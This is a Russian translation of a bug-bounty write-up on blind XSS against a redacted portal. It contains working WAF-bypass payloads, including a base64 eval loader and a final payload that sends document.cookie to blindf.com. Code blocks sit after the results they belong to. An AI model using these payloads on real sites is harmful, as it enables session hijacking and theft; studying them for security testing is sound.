В этом заметке я расскажу, как смог проэксплуатировать Blind XSS на одном внутреннем портале. Это был частный сайт, поэтому мы назовем ее https://redacted.com
Для эксплуатации я использовал https://blindf.com. Это платформа/инструмент/фреймворк для поиска blind XSS.
Начало атаки:
Серьезность: критическая (9 ~ 10)
Полученная баунти: $1000
Автор: оригинальная статья
Перевод: tabac, специально для https://xss.pro
Для эксплуатации я использовал https://blindf.com. Это платформа/инструмент/фреймворк для поиска blind XSS.
Начало атаки:
- Нашел форму на https://redacted.com
- Поместил Bhtml payload + BXSS payload в текстовое поле
Полезная нагрузка:
Результат меня не порадовал. WAF остановил меня и форму не загрузил.Код:<img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>"></script><script src=https://blindf.com/bx.php></script> - Я удалил полезную нагрузку BXSS. Теперь полезная нагрузка была такая:
Результат: WAF не остановил меня, и я успешно отправил форму. На следующий день Blindf подтвердил выполнение пейлоада BHTML в бэкэнде. Теперь пришло время загрузить полезную нагрузку Bxss. Я знал, что серверный портал уязвим, и мне просто нужно было отправить пейлоад Bxss.Код:<img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/> - Я использовал такой пейлоад. BHTML + BXSS
Результат: WAF не остановил меня, и я успешно отправил пейлоад. Но опять-таки только полезная нагрузка BHTML работала, а BXSS - нет. Теперь снова пришло время подредактировать мой пейлоадКод:<img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>"><svg onload='with(top)body.appendChild(createElement("script")).src="https://blindf.com/bx.php"'> - Использовал я такой payload. BHTML + BXSS
Результат: WAF остановил меня, и я не смог отправить форму. Моему разочарованию не было предела. Снова пришло время изменить полезную нагрузку.Код:<img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>"> sfds"><base href="https://blindf.com"><script nonce='secret' src='./bx.php'></script> - В этот раз использовал я такой payload. BHTML + BXSS
Результат: Обошел WAF, но опять-таки работал только BHTML, а BXSS не удалось. Теперь нужно было обдумать ситуацию и взглянуть на мою атаку свежим взглядом.Код:<img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>">"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vYmxpbmRmLmNvbS9ieC5waHAiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>
Ситуация шаг за шагом:- Я использовал полезные нагрузки BHTML + BXSS.
- Некоторые полезные нагрузки Bxss обошли WAF, но не выполнялись на бэкэнд-портале, где полезные нагрузки Bhtml шли хорошо, и я получал ответный ответ от своих полезных нагрузок BHTML.
- Возможно, что-то мешало моему удаленному файлу js исполниться. [CORS или политика того же происхождения]
- Поэтому я должен выполнить BXSS без включения удаленного файла JS.
- Но как я могу подтвердить выполнение полезных данных в бэкэнде, если я просто показываю им всплывающее окно с предупреждением?
- Тег
<img>работал, но я не смог включить удаленный файл js. - Я должен сделать полезную нагрузку, которая может ответить и подтвердить выполнение кода JS.
- Теперь пришло время изменить полезную нагрузку и снова атаковать.
Используемая полезная нагрузка:
Результат: WAF обойден. Bhtml полезная нагрузка выполнена. Выполнена полезная нагрузка BXSS, и я получил значение cookie.Код:<img src="https://blindf.com/b.php?c=redacted_bhtml_execution"/>"> <img src=https://blindf.com/a.jpg onload=this.src='https://blindf.com/oc.php/?c='+document.cookie>
Серьезность: критическая (9 ~ 10)
Полученная баунти: $1000
Автор: оригинальная статья
Перевод: tabac, специально для https://xss.pro